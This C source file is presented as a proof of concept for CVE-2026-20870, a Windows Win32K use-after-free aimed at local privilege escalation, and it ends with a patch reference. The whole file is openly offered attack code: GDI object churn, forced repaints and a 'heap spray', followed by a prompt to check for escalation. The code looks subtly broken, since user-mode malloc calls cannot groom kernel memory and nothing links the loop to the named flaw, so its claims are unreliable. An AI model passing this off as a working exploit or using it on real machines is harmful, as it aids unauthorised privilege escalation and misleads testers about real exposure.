// CVE-2026-20870 PoC - Windows Win32K ICOMP Use After Free
// This PoC demonstrates the vulnerability concept for educational purposes only
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
// Trigger ICOMP Use After Free condition
void TriggerICOMPUAF() {
HWND hwnd = CreateWindowA("STATIC", "Test", WS_OVERLAPPEDWINDOW,
0, 0, 640, 480, NULL, NULL, NULL, NULL);
// Create and manipulate GDI objects to trigger ICOMP handling
HDC hdc = GetDC(hwnd);
// Repeatedly create and delete objects to trigger UAF condition
for (int i = 0; i < 100; i++) {
HBITMAP hBitmap = CreateBitmap(256, 256, 1, 32, NULL);
HBRUSH hBrush = CreateSolidBrush(RGB(i, 0, 0));
SelectObject(hdc, hBitmap);
SelectObject(hdc, hBrush);
// Delete objects in specific order to trigger UAF
DeleteObject(hBitmap);
DeleteObject(hBrush);
// Trigger repaint to access freed ICOMP components
InvalidateRect(hwnd, NULL, TRUE);
UpdateWindow(hwnd);
// Spray heap to increase exploitation reliability
for (int j = 0; j < 50; j++) {
void* spray = malloc(4096);
memset(spray, 0x41, 4096);
}
}
ReleaseDC(hwnd, hdc);
DestroyWindow(hwnd);
}
int main() {
printf("CVE-2026-20870 PoC - Testing ICOMP UAF condition\n");
printf("This requires local access with low privileges\n");
// Check if running with appropriate privileges
HANDLE hToken;
TOKEN_ELEVATION_TYPE ElevationType;
DWORD ReturnLength;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
GetTokenInformation(hToken, TokenElevationType,
&ElevationType, sizeof(ElevationType), &ReturnLength);
printf("Current elevation type: %d\n", ElevationType);
CloseHandle(hToken);
}
printf("Triggering ICOMP UAF condition...\n");
TriggerICOMPUAF();
printf("PoC execution completed. Check for privilege escalation.\n");
return 0;
}
// Mitigation: Apply KB5055527 or later Windows security updates